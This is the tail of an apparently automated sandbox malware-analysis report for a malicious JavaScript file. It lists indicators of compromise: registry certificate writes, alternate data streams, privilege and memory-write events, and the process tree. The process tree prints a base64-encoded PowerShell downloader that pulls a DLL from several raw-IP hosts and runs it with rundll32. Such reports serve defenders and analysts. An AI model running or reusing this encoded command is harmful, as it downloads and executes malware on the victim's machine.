72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	LinuxReader64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	LinuxReader64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	LinuxReader64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	LinuxReader64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	LinuxReader64.exe

NTFS ADS 4 IoCs

Processes:

WFS.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Documents\Scanned Documents\Welcome Scan.jpg\:{4c8cc155-6c1e-11d1-8e41-00c04fb9386d}:$DATA	WFS.exe
File created	C:\Users\Admin\Documents\Scanned Documents\Welcome Scan.jpg\:3or4kl4x13tuuug3Byamue2s4b:$DATA	WFS.exe
File opened for modification	C:\Users\Admin\Documents\Scanned Documents\Welcome Scan.jpg\:Updt_3or4kl4x13tuuug3Byamue2s4b:$DATA	WFS.exe
File created	C:\Users\Admin\Documents\Scanned Documents\Welcome Scan.jpg\:Updt_3or4kl4x13tuuug3Byamue2s4b:$DATA	WFS.exe

Opens file in notepad (likely ransom note) 8 IoCs
ransomware

Processes:

notepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exe

pid process

3096 notepad.exe
4156 notepad.exe
4148 notepad.exe
4560 notepad.exe
324 notepad.exe
4500 notepad.exe
3580 notepad.exe
2272 notepad.exe

pid	process
3096	notepad.exe
4156	notepad.exe
4148	notepad.exe
4560	notepad.exe
324	notepad.exe
4500	notepad.exe
3580	notepad.exe
2272	notepad.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exechrome.exechrome.exeLinuxReader64.exesvchost.exeDiskInternals.Preview.dllDiskInternals.Preview.dll

pid	process
4276	powershell.exe
4276	powershell.exe
4276	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
5040	chrome.exe
5040	chrome.exe
4932	chrome.exe
4932	chrome.exe
3700	LinuxReader64.exe
3700	LinuxReader64.exe
2752	svchost.exe
2752	svchost.exe
4340	DiskInternals.Preview.dll
4340	DiskInternals.Preview.dll
4740	DiskInternals.Preview.dll
4740	DiskInternals.Preview.dll

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

Processes:

7zG.exe7zG.exeLinux_Reader.exeLinuxReader64.exe

pid process

2744 7zG.exe
4248 7zG.exe
3536 Linux_Reader.exe
3700 LinuxReader64.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

Processes:

chrome.exe

pid	process
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe7zG.exe7zG.exe7zG.exe7zG.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeRestorePrivilege	2744	7zG.exe
Token: 35	2744	7zG.exe
Token: SeSecurityPrivilege	2744	7zG.exe
Token: SeSecurityPrivilege	2744	7zG.exe
Token: SeRestorePrivilege	4572	7zG.exe
Token: 35	4572	7zG.exe
Token: SeSecurityPrivilege	4572	7zG.exe
Token: SeSecurityPrivilege	4572	7zG.exe
Token: SeRestorePrivilege	4988	7zG.exe
Token: 35	4988	7zG.exe
Token: SeSecurityPrivilege	4988	7zG.exe
Token: SeSecurityPrivilege	4988	7zG.exe
Token: SeRestorePrivilege	4248	7zG.exe
Token: 35	4248	7zG.exe
Token: SeSecurityPrivilege	4248	7zG.exe
Token: SeSecurityPrivilege	4248	7zG.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

7zG.exe7zG.exe7zG.exe7zG.exechrome.exe7zG.exeEverything.exe

pid	process
2744	7zG.exe
4572	7zG.exe
4988	7zG.exe
4248	7zG.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
2084	7zG.exe
5008	Everything.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe

Suspicious use of SendNotifyMessage 25 IoCs

Processes:

chrome.exeEverything.exe

pid	process
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5008	Everything.exe

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

WFS.exe7zG.exeEverything.exeOpenWith.exeLinuxReader64.exeMicrosoftEdge.exeDiskInternals.Preview.dllMicrosoftEdgeCP.exeDiskInternals.Preview.dll

pid	process
2592	WFS.exe
2592	WFS.exe
2744	7zG.exe
5008	Everything.exe
4684	OpenWith.exe
4684	OpenWith.exe
4684	OpenWith.exe
4684	OpenWith.exe
4684	OpenWith.exe
4684	OpenWith.exe
4684	OpenWith.exe
3700	LinuxReader64.exe
3700	LinuxReader64.exe
3700	LinuxReader64.exe
1012	MicrosoftEdge.exe
4340	DiskInternals.Preview.dll
4340	DiskInternals.Preview.dll
4856	MicrosoftEdgeCP.exe
4740	DiskInternals.Preview.dll
4740	DiskInternals.Preview.dll
3700	LinuxReader64.exe
3700	LinuxReader64.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

wscript.exechrome.exe

description	pid	process	target process
PID 3008 wrote to memory of 4276	3008	wscript.exe	powershell.exe
PID 3008 wrote to memory of 4276	3008	wscript.exe	powershell.exe
PID 5040 wrote to memory of 4556	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4556	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 2912	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 1688	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 1688	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe
PID 5040 wrote to memory of 4464	5040	chrome.exe	chrome.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ClaimD_UkP(33).js
1⤵
- Suspicious use of WriteProcessMemory
PID:3008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQASABvAG0AbwB6AHkAZwBvAHUAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwAxADMAOQAuADEAOAAwAC4AMQA3ADIALgAyADAAMwAvAG8AVQBMADIAVABKAGIAZwBkAGUAdgBrAC4AZABhAHQALABoAHQAdABwADoALwAvADEANQA0AC4ANwAuADIANQAzAC4AMgAwADMALwBpAEQANgBsAFEASwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAOAAuADQANAAuADEANAAwAC4ANwA1AC8ATwBiAGEAUABJAC4AZABhAHQALABoAHQAdABwADoALwAvADEAMwA3AC4ANwA0AC4AMwA5AC4AMgAzADcALwBmAGsAeABvAEUAZABHAC4AZABhAHQALABoAHQAdABwADoALwAvADgANwAuADIAMwA2AC4AMQA0ADYALgA1ADMALwBQAHMARQB3AHcARgAwAGgAQwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADAAMwAuADIAMQA0AC4ANwAxAC4AMQAzADEALwByAGUAaABiAEYAMwB2AG8ALgBkAGEAdAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJAB3AHUAegB6AGwAaQBuAGcAIABpAG4AIAAkAEgAbwBtAG8AegB5AGcAbwB1AHMAKQAgAHsAdAByAHkAIAB7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdwB1AHoAegBsAGkAbgBnACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMgAwACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABmAGEAZwBnAGkAbgBnAFUAbgBtAGEAdABoAGUAbQBhAHQAaQBjAGEAbABsAHkALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGYAYQBnAGcAaQBuAGcAVQBuAG0AYQB0AGgAZQBtAGEAdABpAGMAYQBsAGwAeQAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGYAYQBnAGcAaQBuAGcAVQBuAG0AYQB0AGgAZQBtAGEAdABpAGMAYQBsAGwAeQAuAGQAbABsACwARwBMADcAMAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAOwB9AH0A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4276

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1jn4ium.0xp.ps1'"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zshvauor.qer.psm1"
1⤵
- Opens file in notepad (likely ransom note)
PID:2272

C:\Windows\system32\WFS.exe
"C:\Windows\system32\WFS.exe" /SendTo C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fuhbqokf.cwb.ps1 C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1jn4ium.0xp.ps1 C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zshvauor.qer.psm1 C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2r5qsvs.1xk.psm1
1⤵
- Drops desktop.ini file(s)
- NTFS ADS
- Suspicious use of SetWindowsHookEx
PID:2592

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1jn4ium.0xp.ps1"
1⤵
- Opens file in notepad (likely ransom note)
PID:3096

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" a -i#7zMap16193:582:7zEvent8287 -ad -saa -- "C:\Users\Admin\AppData\Local\Temp\Temp"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2744

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Temp\" -spe -an -ai#7zMap9918:64:7zEvent32527
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4572

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Temp\" -spe -an -ai#7zMap3795:64:7zEvent4886
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4988

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" a -i#7zMap6950:70:7zEvent22551 -t7z -sae -- "C:\Users\Admin\AppData\Local\Temp.7z"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4248

